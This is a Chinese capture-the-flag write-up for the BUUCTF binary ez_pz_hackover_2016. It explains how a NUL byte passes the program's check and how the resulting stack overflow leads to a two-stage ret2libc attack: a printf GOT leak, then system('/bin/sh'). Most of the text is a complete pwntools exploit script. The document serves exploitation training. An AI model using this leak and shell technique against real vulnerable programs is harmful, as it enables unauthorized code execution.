BUUCTF【ez_pz_hackover_2016】
例行检查
开了relro,其他保护机制都没开,扔到IDA中分析
漏洞分析
chall()函数中,有fgets(),但长度不够覆盖到返回地址,没法溢出,接着会获取s的长度,然后字符串检索,在这里我给出memchr()的定义:*C 库函数 void *memchr(const void str, int c, size_t n) 在参数 str 所指向的字符串的前 n 个字节中搜索第一次出现字符 c(一个无符号字符)的位置。
然后程序会有一个if检查,这里可以通过’\x00’绕过检查,绕过后就有一个明显的vuln(),双击进入查看,
vuln()会将我们输入的字符串拷贝到dest中,我们查看dest的栈空间,
距离返回地址0x32,而程序可以让我们输入0x400的大小,存在栈溢出
这里的具体偏移还要以gdb中动态调试为准确值,ida存在误差
思路和漏洞利用过程
1.我们通过’\x00’绕过if检查机制,通过第一次溢出leak出libc地址
2.第二次溢出去执行system(’/bin/sh’)
第一次构造payload,
payload = 'crashme'
payload += '\x00'
payload = payload.ljust(0x16,'A')
payload += p32(0)
payload += p32(plt_printf)
payload += p32(main)
payload += p32(elf.got['printf'])
这里注意,偏移并不是ida中的0x32,而是0x16,通过gdb调试出来
接下来算出地址再次溢出即可
io.sendline(payload)
io.recvuntil('Welcome crashme!')
leak = u32(io.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
success(hex(leak))
libc = LibcSearcher('printf',leak)
libc_base = leak-libc.dump('printf')
success(hex(libc_base))
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
success(hex(system))
success(hex(bin_sh))
io.recvuntil('>')
payload = 'crashme'
payload += '\x00'
payload = payload.ljust(0x16,'A')
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bin_sh)
io.sendline(payload)
#gdb.attach(io)
io.interactive()
buu官方给出的libc版本没出,这里通过libcsearcher来找Libc版本,选取第13个版本可以出。
完整exp
from pwn import *
from LibcSearcher import *
elf = ELF('./ez_pz_hackover_2016')
io = remote('node4.buuoj.cn',28085)
#io = process('./ez_pz_hackover_2016')
#libc = ELF('./libc-2.23-32.so')
context.log_level='debug'
main = 0x80486E2
plt_printf = 0x8048430
io.recvuntil('>')
payload = 'crashme'
payload += '\x00'
payload = payload.ljust(0x16,'A')
payload += p32(0)
payload += p32(plt_printf)
payload += p32(main)
payload += p32(elf.got['printf'])
#gdb.attach(io,'b *0x80485E4')
io.sendline(payload)
io.recvuntil('Welcome crashme!')
leak = u32(io.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
success(hex(leak))
libc = LibcSearcher('printf',leak)
libc_base = leak-libc.dump('printf')
success(hex(libc_base))
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
success(hex(system))
success(hex(bin_sh))
io.recvuntil('>')
payload = 'crashme'
payload += '\x00'
payload = payload.ljust(0x16,'A')
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bin_sh)
io.sendline(payload)
#gdb.attach(io)
io.interactive()